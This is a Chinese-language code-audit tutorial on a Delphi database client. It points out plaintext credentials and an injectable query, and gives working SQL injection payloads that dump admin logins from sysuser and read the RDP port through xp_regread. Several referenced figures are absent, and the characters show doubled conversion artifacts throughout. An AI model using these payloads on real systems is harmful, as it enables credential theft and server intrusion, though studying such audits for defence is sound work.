第三課:Delphi代碼審計(jì)--項(xiàng)目實(shí)戰(zhàn)1
專注APT攻擊與防御
https://micropoor.blogspot.com/

程序的主要function,與 procedure

注:Delphi把操作數(shù)據(jù)的方法分成了兩種,一種是function,另一種是procedure,大致理
解為“函數(shù)”和“過程”。
Procedure類似C語(yǔ)言中的無(wú)返回值函數(shù),即VOID。而Function就是c語(yǔ)言中的有返回值函
數(shù),即沒有Void。

程序分為2種連接數(shù)據(jù)庫(kù)模式:

無(wú)論是本地模式,還是聯(lián)網(wǎng)模式,都是讀取,當(dāng)前路徑的config.ini配置文件:
(導(dǎo)致敏感信息暴漏,可直連服務(wù)器)
繼續(xù)跟數(shù)據(jù)庫(kù)連接:配合SQL Server數(shù)據(jù)庫(kù),直接帶入,可以判斷出為明文存儲(chǔ)。

config.ini配置如下:

基于TCP通信,SQL Server通信構(gòu)架大致如下:
(可導(dǎo)致通信過程中抓取明文執(zhí)行)


代入執(zhí)行:
(導(dǎo)致可拼接sql語(yǔ)句,查詢?nèi)我庹Z(yǔ)句或者執(zhí)行命令)

部分語(yǔ)句其中如下:

select distinct memberid,receivecompany from weigh where receivecompany is not
null and receivecompany like ''%'+xxxxxx+'%''

軟件呈現(xiàn)如下:

對(duì)應(yīng) 收貨單位編號(hào),以及收貨單位名稱。分別為:memberid,receivecompany
閉合語(yǔ)句為:

2' ; select loginid as memberid , password as receivecompany from sysuser --

抓取返回如圖:

得到admin 賬號(hào)以及密碼。

構(gòu)造讀取遠(yuǎn)程桌面端口號(hào):

得到遠(yuǎn)程服務(wù)器端口號(hào)

2' ; EXEC master..xp_regread
'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp','PortNumber' --

copy 獲取緩沖區(qū)內(nèi)容:
(導(dǎo)致可從服務(wù)器端構(gòu)造代碼)

copy 用法如下:
copy(a,b,c);
a:就是copy源,就是一個(gè)字符串,表示你將要從a里copy一些東西,
b:從a中的第b位開始copy(包含第11位),
c:copy從第b位開始后的c個(gè)字符,
exp: m:=‘the test fuck'
s:=copy(m,2,2); //s值為‘he’

當(dāng)超出范圍,會(huì)發(fā)生異常錯(cuò)誤。實(shí)例中,從服務(wù)器數(shù)據(jù)庫(kù)獲取數(shù)據(jù)后進(jìn)行copy。

軟件登陸部分代碼如下:
(導(dǎo)致可自動(dòng)化跑 loginid。)

多次嘗試錯(cuò)誤處理如下:退出軟件,并且重新開始計(jì)算。
Micropoor
?